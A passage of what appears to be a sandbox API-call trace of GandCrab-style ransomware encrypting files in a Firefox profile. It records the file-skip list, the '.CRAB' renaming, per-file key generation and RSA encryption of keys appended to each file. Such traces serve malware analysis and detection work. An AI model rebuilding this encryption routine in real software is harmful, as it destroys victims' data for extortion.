	[0120.783] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.crab")) returned 1
	[0120.784] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.784] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB"
	[0120.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB.CRAB"
	[0120.784] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0120.785] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.785] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.785] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.785] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0120.785] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.786] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0120.786] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.786] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.787] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.787] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.787] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0120.787] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.787] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.787] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.788] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.788] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165ad8) returned 1
	[0120.788] CryptGetKeyParam (in: hKey=0x3165ad8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.788] CryptEncrypt (in: hKey=0x3165ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.789] GetLastError () returned 0x0
	[0120.789] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.789] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ec00) returned 1
	[0120.789] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165a58) returned 1
	[0120.789] CryptGetKeyParam (in: hKey=0x3165a58, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.789] CryptEncrypt (in: hKey=0x3165a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.790] GetLastError () returned 0x0
	[0120.790] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0120.790] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.791] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x14b2, lpOverlapped=0x0) returned 1
	[0120.818] VirtualAlloc (lpAddress=0x0, dwSize=0x14c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.818] VirtualAlloc (lpAddress=0x0, dwSize=0x14c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.819] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.819] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffeb4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.819] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x14c0, lpOverlapped=0x0) returned 1
	[0120.820] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.820] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.824] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.824] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.824] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.824] CloseHandle (hObject=0x3fc) returned 1
	[0120.825] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.825] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.825] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.826] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.826] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.826] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.826] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.826] lstrcmpW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2=".") returned 1
	[0120.826] lstrcmpW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="..") returned 1
	[0120.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4"
	[0120.826] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.827] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174
	[0120.827] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174
	[0120.827] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.827] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.827] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.827] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.827] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174
	[0120.827] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.827] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.828] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.828] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.828] lstrcmpiW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.828] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.828] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB") returned 179
	[0120.828] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4")) returned 0x20
	[0120.829] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.829] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.crab")) returned 1
	[0120.830] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.830] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB"
	[0120.831] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB.CRAB"
	[0120.831] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0120.831] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.832] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.832] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.832] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.832] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.832] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0120.832] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.833] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.833] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.833] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.833] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.833] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.833] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.834] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.834] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x31658d8) returned 1
	[0120.834] CryptGetKeyParam (in: hKey=0x31658d8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.834] CryptEncrypt (in: hKey=0x31658d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.835] GetLastError () returned 0x0
	[0120.835] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.835] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0120.835] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165a98) returned 1
	[0120.835] CryptGetKeyParam (in: hKey=0x3165a98, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.835] CryptEncrypt (in: hKey=0x3165a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.836] GetLastError () returned 0x0
	[0120.836] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.836] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.836] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.837] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.837] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x149b, lpOverlapped=0x0) returned 1
	[0120.895] VirtualAlloc (lpAddress=0x0, dwSize=0x14a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.895] VirtualAlloc (lpAddress=0x0, dwSize=0x14a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.896] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.896] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffeb65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.896] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x14a0, lpOverlapped=0x0) returned 1
	[0120.896] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.897] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.900] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.901] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.901] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.901] CloseHandle (hObject=0x3fc) returned 1
	[0120.902] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.902] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.902] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.903] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.903] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.903] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.903] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.903] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2=".") returned 1
	[0120.903] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="..") returned 1
	[0120.903] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4"
	[0120.903] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.904] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174
	[0120.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174
	[0120.904] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.904] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
